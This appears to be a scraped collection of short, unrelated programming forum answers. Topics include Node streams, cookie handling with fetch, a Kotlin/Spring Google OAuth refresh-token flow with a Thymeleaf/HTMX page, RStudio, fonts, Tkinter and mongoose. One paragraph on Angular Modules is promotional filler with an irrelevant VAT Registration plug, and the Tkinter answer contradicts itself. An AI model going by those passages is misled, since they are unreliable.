Requestly Interceptor extension link: https://chromewebstore.google.com/detail/requestly-free-api-testin/mdnleldcmiljblolnjhpnblkcekpdkpa?hl=en
Just using 'ec2-user' worked for me. Could someone tell where this user name is configured while creating EC2 instance
This cloud be just what you want.
import { text } from "node:stream/consumers";
console.log(await text(process.stdin));
streamConsumers.text(stream)
(nodejs.org)
streamConsumers.text(stream)
Added in: v16.7.0
stream
<ReadableStream> | <stream.Readable> | <AsyncIterator>- Returns: <Promise> Fulfills with the contents of the stream parsed as a UTF-8 encoded string.
Turns out that my main issue was that the cookies sent by the login endpint were not being saved in my browser. I should have checked that first to make this question clearer. To fix that, I had to modify the /api/login
request I was making on the front end to also have credentials: 'include'
. This is because by default, when dealing with cross-origin api calls, received cookies are not saved. See this answer.
My fixed simple front-end script looks like this:
(async () => {
console.log("logging in...")
const loginResponse = await fetch('http://127.0.0.1:8000/api/login', {
credentials: 'include', // <------------------------ NEW
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: 'test',
password: 'securepassword123'
})
})
const loginData = await loginResponse.json();
console.log(loginData)
if (!loginResponse.ok) {
console.log('login failed :(')
return
}
console.log("getting user info...")
const userResponse = await fetch('http://127.0.0.1:8000/api/user', {
credentials: 'include'
});
const userData = await userResponse.json();
console.log(userData)
if (!userResponse.ok) {
console.log("user data fetch failed :(")
}
})();
This feature was added in new version of gitea v1.23.0.
Make sure that there is no 'tsconfig.app.json', 'tsconfig.spec.json' file that is overwriting the 'paths' property
if you use tailwind just add whitespace-pre-line classname
There is an, admittedly, not very thoroughly explained answer here, but it did work for me several times when I got this error.
When it happened to me, I quit the R session (since there was no other option), but I did save my script temporarily in another file (simply copy-pasting it).
When I reopened the project and the associated script files, I did not need to use the backup script to update my work --- however, I must say I would always make a backup.
So, in brief, RStudio should be able to restore your script without loss, at least if you reopen the session immediately, but, regretfully, I cannot tell you why, and you should make a backup whenever possible.
Good news! This has been resolved in Access version 2501. After the MSOffice update on 28th Jan the issue is now fixed.
i think that the simplest way would be: uv pip freeze > requirements.txt
ADD
spring.servlet.multipart.max-request-size=50MB
Using preload, our custom font is downloaded, but it is not used or rendered yet. Fonts will only be fully activated when they are actually used on the page (i.e. used by actual text or invisible text [like your hack]).
Your hack forces the browser to apply the font and render it on an invisible text, so next time when actual text appears, our font is loaded, cached and activated so it’s available to be applied instantly without any delay.
Extra point: We can use {font-display: swap} to reduce the delay to load the text with custom font but the hack works fine and I think is the best way to ensure the text is loaded with custom font without any delay.
libssh2.dll copy from root php to apache>bin
This is the full code that works below.
Note in the frontend the first communication is to /generate-token
which builds the Oauth url where the user logs in.
Once the user has logged in there is a callback to /oauth2/callback/google
with the authCode as paramter that is used to get the refreshToken.
Using @dip-m's answer.
@Controller
class GmailController(
private val securityUtils: SecurityUtils,
private val googleOAuthService: GoogleOAuthService
) {
@GetMapping("/settings")
fun getSettingsPage(model: Model): String {
if (!model.containsAttribute("tokenGrantSuccess")) {
model.addAttribute("tokenGrantSuccess", model.getAttribute("tokenGrantSuccess"))
} else {
model.addAttribute("tokenGrantFail", false)
}
return "setting"
}
@GetMapping("/oauth2/callback/google")
fun refreshTokenCallBack(
redirectAttributes: RedirectAttributes,
@RequestParam("code") authCode: String,
): String {
val currentUserEmail = securityUtils.getCurrentUser()?.email
?: throw OAuthException("User not authenticated")
googleOAuthService.handleOAuthCallback(authCode, currentUserEmail)
redirectAttributes.addFlashAttribute("tokenGrantSuccess", true)
return "redirect:/settings"
}
}
@Service
class GoogleOAuthService(
private val jdbcClient: JdbcClient,
@Value("\${spring.security.oauth2.client.registration.google.client-id}") private val clientId: String,
@Value("\${spring.security.oauth2.client.registration.google.client-secret}") private val clientSecret: String,
@Value("\${spring.security.oauth2.client.registration.google.redirect-uri}") private val redirectUri: String,
@Value("\${spring.security.oauth2.oauthUrl}") private val oauthUrl: String,
@Value("\${spring.security.oauth2.client.registration.google.scope}") private val scope: String
) {
private val logger = LoggerFactory.getLogger(GoogleOAuthService::class.java)
private val jsonFactory: JsonFactory = GsonFactory.getDefaultInstance()
private val httpTransport: NetHttpTransport = GoogleNetHttpTransport.newTrustedTransport()
fun handleOAuthCallback(authCode: String, userEmail: String) {
try {
val response = GoogleAuthorizationCodeTokenRequest(
httpTransport,
jsonFactory,
clientId,
clientSecret,
authCode,
redirectUri
).setGrantType("authorization_code").execute()
updateUserRefreshToken(userEmail, response.refreshToken)
} catch (e: Exception) {
logger.error("Failed to handle OAuth callback", e)
throw OAuthException("Failed to process OAuth callback: ${e.message}")
}
}
private fun updateUserRefreshToken(email: String, refreshToken: String) {
jdbcClient.sql("""
UPDATE users SET refresh_token = :refreshToken WHERE email = :email
""".trimIndent())
.param("refreshToken", refreshToken)
.param("email", email)
.update()
logger.info("User refresh token successfully updated for email $email")
}
fun generateOAuthUrl(): String {
validateOAuthConfig()
return try {
buildOAuthUrl()
} catch (e: Exception) {
logger.error("Failed to generate OAuth URL", e)
throw OAuthException("Failed to generate OAuth URL: ${e.message}")
}
}
private fun buildOAuthUrl(): String {
val encodedRedirectUri = URLEncoder.encode(redirectUri, StandardCharsets.UTF_8.toString())
val encodedScope = URLEncoder.encode(scope.replace(",", " "), StandardCharsets.UTF_8.toString())
return UriComponentsBuilder.fromUriString(oauthUrl)
.queryParam("client_id", clientId)
.queryParam("redirect_uri", encodedRedirectUri)
.queryParam("response_type", "code")
.queryParam("scope", encodedScope)
.queryParam("access_type", "offline")
.queryParam("prompt", "consent")
.build()
.toUriString()
}
private fun validateOAuthConfig() {
val missingFields = buildList {
if (clientId.isBlank()) add("clientId")
if (redirectUri.isBlank()) add("redirectUri")
if (oauthUrl.isBlank()) add("oauthUrl")
if (scope.isBlank()) add("scope")
}
if (missingFields.isNotEmpty()) {
val errorMessage = "Missing required fields: ${missingFields.joinToString(", ")}"
logger.error(errorMessage)
throw OAuthException(errorMessage)
}
}
}
class OAuthException(message: String) : RuntimeException(message)
@RestController
class GmailRestController(private val googleOAuthService: GoogleOAuthService) {
@GetMapping("/generate-token")
fun generateRefreshToken(): String = googleOAuthService.generateOAuthUrl()
}
Frontend code, ScriptsStylingAndMeta
just imports HTMX, Shoelace and Bootstrap:
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org" xmlns:hx-on="http://www.w3.org/1999/xhtml">
<head>
<div th:replace="~{fragments :: ScriptsStylingAndMeta}"/>
<title>Settings Page</title>
<style>
.settings-card {
background-color: var(--sl-color-neutral-0);
border-radius: var(--sl-border-radius-medium);
box-shadow: var(--sl-shadow-medium);
padding: var(--sl-spacing-large);
}
.settings-description {
color: var(--sl-color-neutral-600);
margin-bottom: var(--sl-spacing-medium);
}
.success-message {
display: flex;
align-items: center;
gap: var(--sl-spacing-small);
}
.hidden {
display: none;
}
</style>
</head>
<body>
<div th:replace="~{fragments :: header}"/>
<div class="container py-5">
<sl-card class="settings-card">
<div class="settings-section">
<sl-header class="mb-4">
<h2>Google Integration</h2>
</sl-header>
<div id="integration-status" th:fragment="status" class="stack">
<div th:if="${tokenGrantSuccess}" class="success-message" role="status">
<sl-alert variant="success" open>
<sl-icon slot="icon" name="check2-circle"></sl-icon>
Refresh token has been successfully configured!
</sl-alert>
</div>
<div th:unless="${tokenGrantSuccess}">
<p class="settings-description">
Generate a refresh token to enable Gmail integration with your account.
</p>
<sl-button
variant="primary"
size="large"
hx-get="/generate-token"
hx-trigger="click"
hx-swap="none"
hx-indicator="this"
hx-on::after-request="handleTokenResponse(event)"
aria-label="Generate Gmail refresh token"
>
<sl-icon slot="prefix" name="key"></sl-icon>
Generate Refresh Token
</sl-button>
<sl-alert
variant="danger"
class="error-message hidden"
id="error-message"
>
<sl-icon slot="icon" name="exclamation-triangle"></sl-icon>
Failed to generate token. Please try again.
</sl-alert>
</div>
</div>
</div>
</sl-card>
</div>
<script>
document.addEventListener('DOMContentLoaded', () => {
// Ensure Shoelace components are defined
customElements.whenDefined('sl-alert').then(() => {
const errorAlert = document.getElementById('error-message');
function handleTokenResponse(event) {
const response = event.detail.xhr.response;
if (response) {
window.location.href = response;
} else {
console.error('Invalid response received');
errorAlert.classList.remove('hidden');
setTimeout(() => {
errorAlert.classList.add('hidden');
}, 5000);
}
}
window.handleTokenResponse = handleTokenResponse;
});
});
</script>
</body>
</html>
were you able to solve this issue? i am facing something similar
Run your program, open Task Manager, right click and select "Open File Location", then copy the exe file to the USB.
not working in ubuntu ( ver. 24.04 - but in ver.22 works fine )
When comparing Angular Modules and Modular Website Design, it's essential to understand their roles in website designing and development. Angular Modules help developers structure and manage large-scale applications efficiently, improving maintainability and scalability. On the other hand, Modular Website Design focuses on reusable components, ensuring flexibility and faster development. Both approaches enhance project efficiency but serve different purposes. If you're a business handling VAT Registration, a modular approach can streamline compliance-related features, making updates and modifications seamless.
I am stuck by this limitation too, and it is still NO today.
Unless the parsing algorithm of the "in head" insertion mode is updated to allow custom elements, they will be moved into the <body>
element.
Problems: Line 27 (photo = ImageTk.PhotoImage(img)) is unnecessary and should be removed. img is a local variable, and Python's garbage collector removes it after the function exits. As a result, the image disappears from image_label. The solution is to store the image as a global variable or an attribute of so that it persists.
In your authorizeUser function, are you using bcrypt? I also got the same error and solved it by removing bcrypt. How do I salt & hash the password then? Currently I have no solution for this.
I really should look into the error stack trace and maybe opening a new issue either on Next.js or Auth.js github
I hope this helps, I updated the mongodb version, I tried to install bson but it wasn't compatible and I had installed already mongoose in my project so I extracted the ObjectId from the Types object import { Types } from 'mongoose';
. ex. Types.ObjectId